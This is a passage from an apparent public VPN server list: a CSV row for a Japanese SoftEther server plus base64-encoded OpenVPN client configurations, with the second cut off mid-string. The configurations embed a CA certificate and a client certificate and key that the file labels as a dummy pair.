3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn652870061,221.105.195.119,873408,35,196563952,Japan,JP,15,248044195,465443,103504479052091,2weeks,DESKTOP-6LJ8RQP's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMjEuMTA1LjE5NS4xMTkgMTc4MA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzD